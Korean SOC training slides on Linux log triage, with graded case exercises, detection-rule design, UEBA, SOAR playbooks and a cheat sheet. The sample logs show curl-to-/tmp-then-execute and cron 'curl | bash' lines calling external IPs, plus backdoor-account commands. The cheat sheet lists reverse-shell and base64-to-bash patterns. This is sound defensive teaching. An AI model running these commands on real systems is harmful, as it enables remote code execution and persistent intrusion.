    실습의 목적은 맞히는 것이 아니라, 애매한 로그 조각에서도 구조적으로 판단하는 습관을 만드는 것이다
    실습
    📝 각 케이스마다 작성할 5가지
    1
    관측 사실 (Fact) — 로그에서 직접 확인되는 것
    2
    왜 의심/정상인가 (Why) — 근거 설명
    3
    추가 확인 항목 (Check) — 모르면 '추가 확인 필요'로 구분
    4
    최종 판단 (Verdict) — 등급 선택
    5
    권고 조치 (Action) — 다음 팀이 행동 가능한 수준으로
    🎯 판단 등급
    정상 / 운영 이슈
    👁 모니터링 필요
    ⚠️ 의심 / L2 에스컬레이션
    🚨 Incident 가능성 높음 / 즉시 대응
    진행 방식: 개인 5분 → 짝 토론 5분 → 전체 피드백
    보강 설명실습의 목적은 애매한 로그 조각에서도 구조적으로 판단하는 습관을 만드는 것입니다. 정답보다 근거가 중요합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    FactCheckVerdict
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    Case A. 서비스 계정 로그인 실패 180회
    실패 횟수가 크다고 무조건 공격은 아니다 — 서비스 계정과 변경 작업 맥락을 먼저 확인해야 한다
    실습 A
    📊 관측 정보
    시간
    08:55 ~ 09:03
    계정
    svc_backup
    실패 수
    180회
    출발지 IP
    10.10.24.15 (내부)
    자산
    백업 서버 (backup01)
    참고
    08:45 비밀번호 변경 예정 티켓 존재
    Jan 12 08:56:02 sshd[22101]: Failed password for svc_backup from 10.10.24.15 port 51222
    🤔 판단 질문
    Q1. 내부 IP 10.10.24.15는 어떤 서버인가?
    Q2. 08:45 비밀번호 변경 티켓이 실패 원인일 수 있는가?
    Q3. 180회 실패 후 성공 로그인이 있는가?
    Q4. 실패 간격이 일정한가? (자동화 오류 vs 공격 속도)
    💡 힌트
    ✅ 서비스 계정 ✅ 내부 IP ✅ 변경 직후 ⚠️ 성공 로그인 여부 확인 필요
    예상 판단: 운영 이슈 / 모니터링
    보강 설명실패 횟수가 크다고 무조건 공격이 아닙니다. 서비스 계정과 변경 작업 맥락을 먼저 확인해야 합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    서비스 계정내부 IP변경 작업
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    Case B. 신규 외부 IP SSH 성공 후 sudo
    로그인 성공 한 줄보다, 그 직후의 sudo 사용이 이 사건의 무게를 바꾼다
    실습 B
    📊 관측 정보
    시간
    22:14 (야간)
    계정
    admin01 (관리자)
    자산
    web-prod-03 (운영 서버)
    출발지
    203.0.113.44 (신규 외부 IP)
    인증
    password 방식
    Jan 12 22:14:08 Accepted password for admin01 from 203.0.113.44
    Jan 12 22:16:11 sudo: admin01 TTY=pts/1 ; USER=root ; COMMAND=/usr/bin/id
    🤔 판단 질문
    Q1. Bastion/VPN 경유가 아닌 직접 외부 연결인가?
    Q2. 승인된 야간 점검 작업이 있는가?
    Q3. sudo 이후 어떤 명령이 실행됐는가?
    Q4. admin01 계정이 이 IP에서 접속한 이력이 있는가?
    위험 요소 누적:
    신규 외부 IP 야간 관리자 계정 password 인증 직후 sudo
    예상 판단: 의심 / 즉시 조사 필요
    보강 설명로그인 성공 한 줄보다 직후 sudo 사용이 이 사건의 무게를 바꿉니다. 계정·출발지·시간대와 후속 권한상승까지 같이 보면 의미가 선명해진다.
    신규 외부 IP관리자 계정sudo
    핵심 포인트
    • 성공/실패만 보지 말고 계정·IP·시간대를 같이 읽기
    • 실패 다수 후 성공 1회는 별도 사건으로 취급하기
    • root·관리자·서비스 계정은 민감도를 다르게 보기
    추가 확인
    • Bastion/VPN·허용 IP·승인 작업 여부 점검
    • last/lastb/who로 현재 세션과 지속 시간 확인
    • 로그인 직후 sudo·다운로드·cron 등록이 이어지는지 보기
    실무 질문
    • 사용자 역할상 이 자산 접근이 자연스러운가
    • 신규 IP 또는 야간 접근이라면 사용자 확인이 필요한가
    • 즉시 차단보다 먼저 보존해야 할 증거는 무엇인가
    Case C. curl → /tmp → chmod +x → nohup
    이 조합은 Linux 침해 실무에서 매우 자주 보는 전형적 패턴이다
    실습 C
    📊 auditd 실행 흔적 (app01 / root 계정)
    # type=EXECVE 요약
    audit(1710002220): argc=5 a0="curl" a1="-fsSL" a2="http://198.51.100.8/u.sh" a3="-o" a4="/tmp/u.sh"
    audit(1710002224): argc=3 a0="chmod" a1="+x" a2="/tmp/u.sh"
    audit(1710002225): argc=4 a0="nohup" a1="/tmp/u.sh" a2=">/dev/null" a3="2>&1"
    🚨 의심 근거
    외부 IP(198.51.100.8)에서 직접 스크립트 다운
    /tmp 경로 저장 (보안 권한 없는 임시 디렉터리)
    chmod +x: 즉시 실행 가능화
    nohup + /dev/null: 백그라운드 은닉 실행
    root 계정으로 실행 (최대 권한)
    ✅ 정상 가능성 검토
    • 198.51.100.8이 내부 배포 서버인가?
    • 동일 스크립트가 과거에도 실행됐는가?
    • 승인된 배포 작업 이력이 있는가?
    위 조건 미충족 시 → Incident
    예상 판단: Incident 가능성 높음 / 즉시 대응
    Case D. root cron에 외부 스크립트 등록
    주기 실행은 한 번의 실행보다 훨씬 더 강한 경고다 — cron 자체가 아니라 무엇을 실행하는가가 핵심
    실습 D
    📊 관측 정보
    # /var/log/syslog (db01)
    Jan 12 02:00:01 CRON[31201]: (root) CMD (/usr/bin/curl -fsSL http://203.0.113.10/.db.sh | bash)
    Jan 12 03:00:01 CRON[31441]: (root) CMD (/usr/bin/curl -fsSL http://203.0.113.10/.db.sh | bash)
    자산
    db01 (데이터베이스 서버)
    승인 작업
    해당 URL/명령 없음
    🚨 위험 근거 3가지
    ① root 컨텍스트
    DB 서버 전권으로 실행
    ② 외부 URL → bash 파이프
    인터넷에서 직접 코드 실행
    ③ 매 1시간 반복
    단순 실행이 아닌 지속성
    즉시 조치:
    • root crontab 내용 수집 + 보존
    • 203.0.113.10 IP 차단
    • 관련 프로세스/파일 확인
    • DB 서버 격리 검토
    예상 판단: Incident / 즉시 대응
    Case E. authorized_keys 파일 수정
    로그가 직접 말해주지 않는 경우에도, 파일 변경과 직전 권한 맥락을 엮으면 의미가 생긴다
    실습 E
    📊 auditd 발췌 (ops-bastion)
    # 파일 변경 감사
    type=PATH ... name="/home/deploy/.ssh/authorized_keys"
    type=SYSCALL ... exe="/usr/bin/vim" uid=0 auid=1001
    # sudo 로그와 연결
    Jan 12 03:12:41 sudo: ops01 ; USER=root ; COMMAND=/usr/bin/vim /home/deploy/.ssh/authorized_keys
    행위 요약
    ops01 계정이 sudo로 root 권한 획득 후 deploy 계정 SSH 키 파일 직접 편집
    🤔 핵심 질문
    Q1. 승인된 SSH 키 교체 작업이었는가?
    Q2. 어떤 공개키가 추가/삭제됐는가?
    Q3. 직후 새 키로 deploy 로그인 성공이 있는가?
    Q4. 표준 auth.log에는 이 변경이 직접 기록되는가?
    → 아니오 — auditd/FIM 없으면 탐지 불가
    핵심 교훈: 표준 인증 로그만으로는 보이지 않는 고위험 변경 → auditd 보강 필수
    예상 판단: 의심 / L2 에스컬레이션
    Case F. useradd + sudo 그룹 추가 + 서비스 enable
    여러 약한 신호가 한 세션에서 연달아 나타나면, 각각이 평범해 보여도 전체는 매우 강해진다
    실습 F
    📊 01:40 ~ 01:48 연속 이벤트 (app-prod-02)
    01:40:05 sudo: admin USER=root COMMAND=/usr/sbin/useradd -m backupsvc
    01:41:12 sudo: admin USER=root COMMAND=/usr/sbin/usermod -aG sudo backupsvc
    01:42:30 sudo: admin USER=root COMMAND=/bin/systemctl enable backup-helper.service
    01:42:31 systemd: Started backup-helper.service
    승인 이력
    해당 없음
    🚨 위험 지표 3중 결합
    새 계정 생성 + sudo 그룹
    → 장기 접근 통로 확보
    서비스 등록 (enable)
    → 재부팅 후에도 실행 지속
    야간 + 미승인
    → 운영 절차 이탈
    즉시 호출 팀:
    IR 팀 IAM 팀 운영팀
    예상 판단: Incident / 즉시 대응
    좋은 답안의 형태: 사실, 해석, 추가 확인, 조치
    같은 결론이라도 구조 없이 쓰면 약하고, 구조 있게 쓰면 운영 가능한 답안이 된다
    분석
    ❌ 나쁜 답안 예시
    ❌ "해킹 같다"
    ❌ "수상함, 확인 필요"
    ❌ "curl 명령이 보임"
    ❌ "악성 같아서 차단 권고"
    → 근거 없음, 다음 팀이 행동 불가
    ✅ 좋은 답안 구조
    Fact
    root 계정 세션에서 외부 IP로부터 /tmp 경로에 스크립트 다운로드 후 bash 실행
    Why
    외부 URL → /tmp → chmod +x → nohup 조합은 페이로드 실행 전형 패턴. 승인된 배포 이력 없음
    Check
    198.51.100.8 내부 서버 여부, 과거 동일 스크립트 실행 이력, nohup 프로세스 현재 상태
    Action
    고위험 — 자산 격리, 스케줄러 점검, /tmp 파일 보존 후 분석, 외부 IP 차단, IR 에스컬레이션
    💡 원칙
    모르는 부분은 솔직히 '추가 확인 필요'로 분리하라 — 확신 없는 단정보다 구조화된 불확실성이 더 좋은 분석이다
    보강 설명같은 결론이라도 구조 없이 쓰면 약하고, 구조 있게 쓰면 운영 가능한 답안이 됩니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    운영 문장구조화답안 품질
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    강사용 기준 답안과 채점 포인트
    각 케이스별 핵심 채점 기준 — 정답보다 근거의 완성도를 중심으로 평가
    강사용
    케이스 핵심 판단 필수 채점 항목 등급
    Case A 운영 이슈 / 변경 작업 후 오류 내부 IP · 서비스 계정 · 변경 티켓 · 성공 여부 확인 모니터링
    Case B 고위험 — 즉시 조사 신규 외부 IP · 관리자 · 야간 · sudo 직후 명령 확인 의심
    Case C Incident — 즉시 대응 조합 해석 · 내부 저장소 여부 · 프로세스 보존 Incident
    Case D Incident — 즉시 대응 지속성 인식 · 외부 URL + bash 파이프 위험성 Incident
    Case E 의심 — L2 에스컬레이션 표준 로그 한계 인식 · auditd 중요성 · 키 점검 의심
    Case F Incident — 즉시 대응 다중 지속성 인식 · 미승인 변경 · IR/IAM 연계 Incident
    채점 원칙: 정확한 등급보다 Fact → Why → Check → Action 구조의 완성도를 우선 평가. 과잉 에스컬레이션보다 과소 반응에 더 주의 필요
    PART 9
    고급 분석 확장
    탐지 룰 설계 · UEBA · 로그 품질 · 탐지 엔지니어링
    ⏱ 40분 | Slides 80 – 82
    보강 설명고급 분석 확장 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    탐지 룰UEBA로그 품질
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Raw 로그에서 탐지 룰로: Linux 탐지 엔지니어링의 시작
    좋은 분석은 한 번 보고 끝나는 것이 아니라, 다음에는 더 빨리 잡히도록 룰과 유스케이스로 환원되어야 한다
    개념
    🎯 핵심 탐지 유스케이스
    다수 SSH 실패 후 성공 (동일 IP, 10분 내)
    신규 외부 IP에서 root/admin 야간 로그인
    curl/wget → /tmp 저장 → chmod +x → 실행
    root crontab에 외부 URL 직접 호출
    authorized_keys 변경 후 키 로그인 성공
    useradd + sudo 그룹 + 서비스 enable 연속
    ⚙️ 룰 설계 요소
    필드 정의
    user, src_ip, host, command, path, outcome
    시간 창 (Time Window)
    5분/10분/24시간 상관 분석
    정상 예외 목록
    Bastion IP, 서비스 계정, 배포 서버
    Severity + Response Playbook 연결
    🔍
    분석된 패턴
    ⚙️
    룰 설계
    🚨
    Alert
    📋
    Playbook
    보강 설명성숙한 SOC는 사건을 처리만 하지 않고 다음 탐지를 위해 룰과 유스케이스로 환원합니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    탐지 유스케이스룰 설계정상 예외
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    시간 기반 이상 탐지와 UEBA 관점
    모든 공격이 시그니처처럼 보이지는 않는다 — 평소와 다른 시간·경로·행동을 보는 눈이 필요하다
    개념
    📊 UEBA 이상 탐지 예시
    🕐 시간 이상
    평소 09~18시만 접속하던 계정이 야간 2시에 로그인
    🌐 위치 이상
    서울 사무소 IP에서만 접속하던 계정이 해외 IP에서 접속
    ⚡ 행동 이상
    배치 전용 서비스 계정이 갑자기 sudo를 사용하기 시작
    📁 자산 이상
    웹서버에서 갑자기 useradd, crontab 변경 발생
    ⚖️ UEBA의 장단점
    장점
    새로운 공격·내부자 위협 포착
    시그니처 없는 이상 행위 탐지
    주의점
    기준선(Baseline)이 약하면 오탐 폭증
    분석가 검증 단계 필수
    📏
    Baseline
    → 차이 →
    ⚠️
    Anomaly
    🧑‍💻
    분석가 검증
    보강 설명모든 공격이 시그니처처럼 보이지는 않습니다. 평소와 다른 시간·경로·행동을 보는 눈이 필요합니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    UEBABaselineAnomaly
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    탐지 품질은 로그 품질이 결정한다
    파싱이 무너지고 시간이 안 맞고 컨텍스트가 없으면, 훌륭한 룰도 나쁜 결과를 낸다
    개념
    ✅ 로그 품질 체크 포인트
    시간 동기화 (NTP) — 서버간 시계 일치
    필드 파싱 정확도 — user, src_ip, command, path
    호스트/자산 식별 일관성 — hostname 표준화
    다중 소스 상관 가능성 — auth, auditd, network 조인 키
    메타데이터 보강 — 서비스 계정, Bastion, 승인 작업
    Bad Data → Bad Alerts → SOC 신뢰 붕괴
    🔄 품질 → 탐지 파이프라인
    수집
    정확한 로그 수집
    NTP · 수집기 설정 점검
    파싱
    필드 정규화
    Grok 패턴 · 파서 품질
    보강
    메타데이터 Enrichment
    자산DB · 계정 분류 · Bastion IP
    탐지
    유의미한 Alert
    낮은 오탐 · 높은 신뢰도
    💡 핵심
    탐지는 룰만의 문제가 아니라 데이터 엔지니어링과 운영 거버넌스의 문제다
    보강 설명파싱이 무너지고 시간이 안 맞고 컨텍스트가 없으면 훌륭한 룰도 나쁜 결과를 냅니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    데이터 품질파싱enrichment
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    PART 10
    실제 SOC 적용과 마무리
    SOC 파이프라인 · SOAR 플레이북 · 핵심 요약
    ⏱ 30분 | Slides 84 – 88
    보강 설명실제 SOC 적용과 마무리 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    SOC 파이프라인SOAR요약
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    Linux 로그가 SOC 파이프라인에 들어오는 방식
    Linux 로그 분석은 개인의 grep 기술이 아니라, 수집·정규화·탐지·조사·대응으로 이어지는 운영 체인 안에서 완성된다
    개념
    🖥️
    데이터 소스
    auth.log · auditd · syslog · EDR · 방화벽
    ⚙️
    수집 · 정규화
    Syslog · Filebeat · 수집기 · SIEM 파서
    🚨
    탐지 · Alert
    탐지 룰 · 상관 분석 · UEBA · 우선순위
    🧑‍💻
    Triage · 조사
    분석가 · 컨텍스트 보강 · Incident 판단
    🛡️
    대응 · 피드백
    IR · IT · IAM · 탐지 룰 개선
    💡 분석가의 역할
    원본 로그 감각과 중앙 관제 감각을 동시에 가져야 한다 — grep 실력만큼 SIEM 검색, 케이스 관리, 에스컬레이션 품질이 중요하다
    보강 설명Linux 로그 분석은 개인의 grep 기술이 아니라 수집·정규화·탐지·조사·대응으로 이어지는 운영 체인 안에서 완성됩니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    수집정규화SIEM
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    Linux Alert에 적용할 수 있는 SOAR 플레이북 아이디어
    SOAR는 사람을 대체하는 것이 아니라, 사람이 반복해서 하던 확인과 조치를 더 빠르고 일관되게 수행하게 해준다
    개념
    ⚡ 자동화하기 좋은 것
    src_ip 평판 조회 · 내부/외부/Bastion 태깅
    계정 중요도 · 자산 중요도 자동 보강
    최근 24시간 SSH 실패/성공·sudo·cron 자동 수집
    티켓 자동 생성 및 관련 로그 첨부
    ⚠️ 사람 검토가 반드시 필요한 것
    계정 잠금 · 세션 강제 종료
    호스트 격리 · 네트워크 차단
    운영 서버 영향도가 높은 모든 조치
    📋 SSH 브루트포스 플레이북 예시
    Alert 수신
    SSH 실패 임계치 초과
    Enrichment
    IP 평판 + 계정 중요도 + Bastion 여부
    조건 분기
    내부 IP + 서비스 계정 → 운영팀 통보
    외부 IP + 관리자 계정 → L2 에스컬레이션
    고위험
    후속 행위 확인 후 격리 승인 요청 (Human)
    보강 설명SOAR는 사람을 대체하는 것이 아니라 사람이 반복해서 하던 확인과 조치를 더 빠르고 일관되게 수행하게 해줍니다. 좋은 탐지는 필드 품질과 정상 예외 설계까지 함께 다룰 때 완성된다.
    SOARenrichment자동화
    핵심 포인트
    • 탐지 품질은 좋은 룰보다 좋은 데이터에서 시작된다
    • 필드 정규화와 자산·계정 메타데이터가 오탐을 줄여 준다
    • 동일 패턴도 시간 창과 자산 중요도에 따라 우선순위가 달라진다
    추가 확인
    • 파싱 오류·타임존·수집 공백이 없는지 먼저 점검
    • 정상 예외 목록이 룰에 반영되어 있는지 확인
    • 대시보드 수치가 실제 운영 질문과 연결되는지 검토
    실무 적용
    • Alert 이후 조회 순서와 SOAR 보강 항목을 같이 설계
    • 룰은 incident 처리 후 다시 튜닝해 다음 번을 더 빠르게 만들기
    • 탐지 논리를 문장으로 설명할 수 있어야 팀 내 공유가 쉬워진다
    오늘의 핵심 요약
    Linux 로그 분석의 본질은 파일명을 외우는 것이 아니라, 시스템의 행동을 근거 있는 운영 판단으로 번역하는 것이다
    요약
    1️⃣
    Linux 로그는 풍부한 보안 증거를 제공한다
    auth.log, auditd, cron, syslog, journald — 각 소스가 다른 증거를 제공
    2️⃣
    파일 하나가 아니라 여러 흔적의 결합이 판단을 만든다
    auth + sudo + auditd + cron + network를 시간 축으로 연결
    3️⃣
    맥락이 결론을 바꾼다
    동일한 명령도 Bastion 경유 여부, 시간대, 승인 이력에 따라 판단이 달라진다
    4️⃣
    좋은 분석은 Fact + Why + Check + Action 형태로 남긴다
    읽는 사람이 다음 행동을 결정할 수 있어야 한다
    5️⃣
    성숙한 SOC는 사건 처리 후 탐지 룰과 운영 절차를 개선한다
    분석 → 탐지 룰 → 플레이북 → 다음 사건에서 더 빨리 잡힌다
    마지막 한 문장
    "로그는 텍스트가 아니라 행동 기록이고,
    분석은 그 행동에 의미를 부여하는 일이다."
    보강 설명Linux 로그 분석의 본질은 파일명을 외우는 것이 아니라 시스템의 행동을 근거 있는 운영 판단으로 번역하는 것입니다. 실습에서는 결론보다 근거와 추가 확인 항목을 더 또렷하게 남기는 것이 중요하다.
    핵심 요약로그는 행동 기록맥락
    핵심 포인트
    • 실습 답안은 Fact→Why→Check→Action 순서로 정리하기
    • 모르는 것은 억지 결론보다 추가 확인 항목으로 분리하기
    • 같은 결론이라도 근거 구조가 좋으면 바로 운영에 쓸 수 있다
    추가 확인
    • 오탐 가능성이나 정상 예외도 한 줄로 함께 적기
    • 다른 로그를 붙이면 결론이 더 강해지는지 생각하기
    • 지금 필요한 조치와 나중에 해도 되는 조치를 구분하기
    학습 포인트
    • 결론보다 근거와 질문의 질을 높이는 연습
    • 짝 토론으로 서로 다른 해석을 비교해 보기
    • 실무 문장으로 바꾸는 훈련이 케이스 학습의 핵심
    📋 Linux 로그 빠른 참조표
    실무에서 즉시 활용 가능한 핵심 로그 위치 · 주요 필드 · 분석 우선순위
    참조
    로그 파일 위치 (Ubuntu) 위치 (RHEL) 주요 이벤트 우선도
    인증 로그 /var/log/auth.log /var/log/secure SSH 로그인, sudo, su, PAM 최고
    시스템 로그 /var/log/syslog /var/log/messages 서비스 시작/중지, 커널, 데몬
    저널 로그 journalctl -u sshd -n 100 systemd 서비스 이벤트
    감사 로그 /var/log/audit/audit.log execve, 파일 접근, 권한 변경 최고
    cron 로그 /var/log/syslog (CRON) /var/log/cron 스케줄 실행, 등록/변경
    세션 기록 last / lastb / who (wtmp, btmp) 로그인 세션, 지속 시간
    실무 시작 순서: auth.log/secure → auditd → sudo → cron → network 순으로 확인하면 대부분의 Linux 침해를 파악할 수 있다
    🗂️ Linux 보안 분석 패턴 치트시트
    실무에서 즉시 활용하는 의심 명령 조합 · 위험 경로 · 탐지 키워드
    참조
    🔴 즉시 조사 조합
    curl/wget + /tmp + chmod +x
    base64 -d + bash
    nohup + /dev/null
    bash -i >& + /dev/tcp/
    실패 180+ → 성공 1회 (동일 IP)
    useradd + usermod -aG sudo
    sudoers + NOPASSWD:ALL
    🟡 추가 확인 경로
    /tmp · /var/tmp
    /dev/shm
    .* (숨김 파일)
    /etc/cron* 신규 항목
    /etc/systemd/system/ 신규 서비스
    ~/.ssh/authorized_keys mtime
    /etc/sudoers.d/ 변경
    🟢 분석 5단계 요약
    1. 누가? 계정 · 서비스 계정 구분
    2. 어디서? 내부/Bastion/외부 IP
    3. 언제? 업무시간/야간/승인 창구
    4. 무엇을? 명령 조합 + 경로
    5. 그 다음? 후속 행위 + 지속성
    5 질문 → Verdict → Action
    보강 설명실무에서 바로 쓸 수 있는 분석 패턴 치트시트입니다. 명령 조합과 실행 경로, 외부 연결을 함께 보면 의도가 더 분명하게 드러난다.
    치트시트분석 패턴위험 명령
    핵심 포인트
    • 명령 이름보다 인자·실행 경로·부모 프로세스를 함께 보기
    • /tmp·/dev/shm·숨김 파일 경로는 우선 의심하기
    • curl→chmod +x→nohup 같은 조합은 강한 실행 신호다
    추가 확인
    • 해당 파일 생성 시점과 해시·권한·소유자 확인
    • EDR·auditd·네트워크 로그를 함께 붙여 전체 흐름 보기
    • 외부 목적지 IP/도메인 평판과 과거 반복 이력 조회
    실무 예시
    • 다운로드 후 즉시 실행은 배포와 공격 모두 가능하므로 승인 이력 확인
    • 웹쉘·터널링·역방향 셸은 네트워크 흔적과 함께 봐야 선명해짐
    • 프로세스 한 줄보다 연속 실행 체인이 사건의 무게를 정한다
    PART 11
    SSH · PAM · 인증 심화 분석
    SSH 프로토콜 · PAM 스택 · 포트포워딩 · 키 관리 · 분석 도구
    ⏱ 60분 | 심화 보충 슬라이드
    보강 설명SSH · PAM · 인증 심화 분석 파트의 핵심은 개념 설명을 바로 분석 질문과 운영 판단 기준으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽어 나간다.
    핵심 개념판단 기준실무 적용
    들어가기 전에
    • 용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
    • 한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행
    • 정상과 이상을 자산·시간·후속 행위로 구분해 보기
    이 파트에서 놓치지 말 것
    • 단일 이벤트보다 반복성·연속성·맥락을 함께 보기
    • 오탐 가능성과 추가 확인 항목을 동시에 적기
    • 분석 결과를 보고 문장과 조치 제안까지 연결하기
    바로 써먹는 학습 포인트
    • 핵심 필드 3~5개만으로도 초동 판단은 가능하다
    • 탐지 신호와 정상 예외를 같이 적어야 운영 품질이 오른다
    • 실습 답안은 결론보다 근거를 더 분명하게 쓰기
    SSH 프로토콜 동작 원리와 로그 생성 지점
    SSH가 어떻게 연결을 맺는지 알면 각 로그가 어느 단계에서 생기는지 이해할 수 있다
    개념
    🔗 SSH 연결 단계
    TCP 연결
    클라이언트 → 서버 포트 22
    방화벽 로그에 연결 기록
    버전 협상
    SSH-2.0 프로토콜 협상
    sshd: SSH2 handshake
    키 교환
    Diffie-Hellman 키 교환
    암호화 채널 확립
    인증
    비밀번호 또는 공개키 인증
    auth.log: Accepted/Failed
    세션
    PAM 세션 오픈
    pam_unix: session opened
    📋 단계별 로그 예시
    10:15:03 sshd[4512]: Connection from 203.0.113.5 port 52301
    10:15:03 sshd[4512]: SSH2 handshake - Failed none for user alice
    10:15:04 sshd[4512]: Failed password for alice from 203.0.113.5
    10:15:05 sshd[4512]: Accepted password for alice
    10:15:05 sshd[4512]: pam_unix(sshd:session): session opened for user alice
    10:15:05 sshd[4512]: New session 12 of user alice
    Connection from 로그: IP/포트 기록 — 인증 전에도 연결 자체 로그됨
    PAM(Pluggable Authentication Modules) 스택과 로그
    Linux 인증은 PAM을 통과하며 다양한 로그를 남긴다 — PAM 모듈 이해가 로그 해석을 깊게 해준다
    개념
